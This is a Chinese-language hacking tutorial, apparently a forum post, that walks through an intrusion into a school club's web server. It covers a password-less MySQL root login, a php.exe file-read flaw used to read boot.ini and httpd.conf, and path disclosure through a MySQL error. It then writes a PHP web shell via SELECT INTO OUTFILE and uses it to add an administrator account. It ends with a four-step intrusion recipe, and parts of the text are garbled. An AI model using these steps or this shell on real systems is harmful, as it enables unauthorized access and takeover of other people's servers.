用superscan掃了一下
某個c類的網(wǎng)段,尋找開放80端口的機器,結(jié)果就只有一臺機器
開放了80端口,試著連了一下,是我們學(xué)校某個社團的的主頁。
從端口的banner來看應(yīng)該是apache(win32),證實一下
telnet 211.87.xxx.xxx
get(回車)
<!doctype html public "-//ietf//dtd html 2.0//en">
<html><head>
<title>501 method
not implemented</title>
</head><body>
<h1>method not implemented</h1>
get to /index
.html not supported.<p>
invalid method in request get<p>
<hr>
<address>apache/1.3.2
2 server at www.xxxxxx.com port 80</address>
</body></html>
遺失對主機的連接。
c:/>
呵呵,這下看得更清楚了
據(jù)我猜測,應(yīng)該是"apache+mysql+php"的黃金組合吧
習(xí)慣性的mysql -h 211.87.xxx.xxx
果然連上了
welcome to the mysql monitor. commands end with or /g.
your mysql connection id is 17 to server version: 3.23.53-max-nt
type help; or /h for help. type /c to clear the buffer.
mysql>
斷開試著
mysql -h 211.87.xxx.xxx -u root -p
password:
welcome to the mysql monitor. commands end with or /g.
your mysql connection id is 18 to server version: 3.23.53-max-nt
type help; or /h for help. type /c to clear the buffer.
mysql>
呵呵,大家看到了他的root用戶沒有密碼,這是我今天要說的第一個主題。
這是相當(dāng)?shù)奈kU的,碰見這種情況,有99.999%的可能可以進(jìn)入
既然使用的apache+php,只要找到他在本地存放的web的物理路徑就為所欲為了
呵呵
下一個問題是我今天要說的重點怎么樣才能知道那臺主機的存放的web的物理路徑?
方法有很多種,在這里我介紹2種方法供初學(xué)者參考
首先要告訴大家的是低版本的apache+php有一個漏洞
提http://xxx.xxxx.xxx.xxx/php/php.exe?對方的物理文件名
就可以把那個物理文件下載下來。
于是提http://211.87.xxx.xxx/php/php.exe?c:/a.txt
返回
no input file specified. (沒有這個漏洞的話提示找不到網(wǎng)頁)
好的,這說明他有這個漏洞。
在提http://211.87.xxx.xxx/php/php.exe?c:/boot.ini
返回
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)/windows [operating
systems] multi(0)disk(0)rdisk(0)partition(1)/windows="microsoft windows xp professional"
/fastdetect
呵呵,裝的還是xp。
好了,我們可以猜測對方apache的conf文件的物理位置了
http://211.87.xxx.xxx/php/php.exe?c:/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?d:/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?e:/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?c:/program files/apache/conf/httpd.conf
no input file specified.
http://211.87.xxx.xxx/php/php.exe?f:/apache/conf/httpd.conf
猜到了,返回了好多東西
找到我們想要的
# documentroot: the directory out of which you will serve your
# documents. by default, all requests are taken from this directory, but
# symbolic links and aliases may be used to point to other locations.
#
documentroot "d:/homepage"
看得出來對方的主目錄是d:/homepage
下面的事就好辦了,現(xiàn)在就想得到shell?
先別急,我們先來看看另一種方法
那就是利用mysql的錯誤
隨便的瀏覽一下他的網(wǎng)頁找到一處利用mysql的地方
http://211.87.xxx.xxx/skonline/study/list.php?id=14
長得太帥了,哈哈哈哈
提交
http://211.87.xxx.xxx/skonline/study/list.php?id=14
返回
warning: supplied argument is not a valid mysql result resource in
d:/homepage/skonline/study/list.php on line 231
呵呵,一覽無余。
然后,然后就是制造我們的shell
mysql -h 211.87.xxx.xxx -u root -p
password:
welcome to the mysql monitor. commands end with or /g.
your mysql connection id is 18 to server version: 3.23.53-max-nt
type help; or /h for help. type /c to clear the buffer.
mysql> use test;
database changed
mysql> create table t(cmd text);
query ok, 0 rows affected (0.08 sec)
mysql> insert into t values(<?system($c);?>);
query ok, 1 row affected (12.52 sec)
mysql> select * from t into d://homepage//test.php;
我的shell很簡單<?system($c);?>,不到20個字符,但他已經(jīng)足夠了
可以讓我執(zhí)行任意命令,由此足以看出php的強大。
怎么用?
提交
http://211.87.xxx.xxx/test.php?c=net ;user kid /add
命令成功完成
http://211.87.xxx.xxx/test.php?c=net ;localgroup administrators kid /add
命令成功完成
呵呵,測試成功,通過!
剩下的就是你自由發(fā)揮了。
由此我們不難總結(jié)出這一類的入侵步驟:
1,找到?jīng)]有密碼的3306端口
2,找到對方的web物理路徑
3,制造shell
4,后續(xù)工作
呵呵,在這里提醒大家,如果你想要或正在用mysql的時候
千萬要給自己的root設(shè)上一個強有力的密
新聞熱點
疑難解答
圖片精選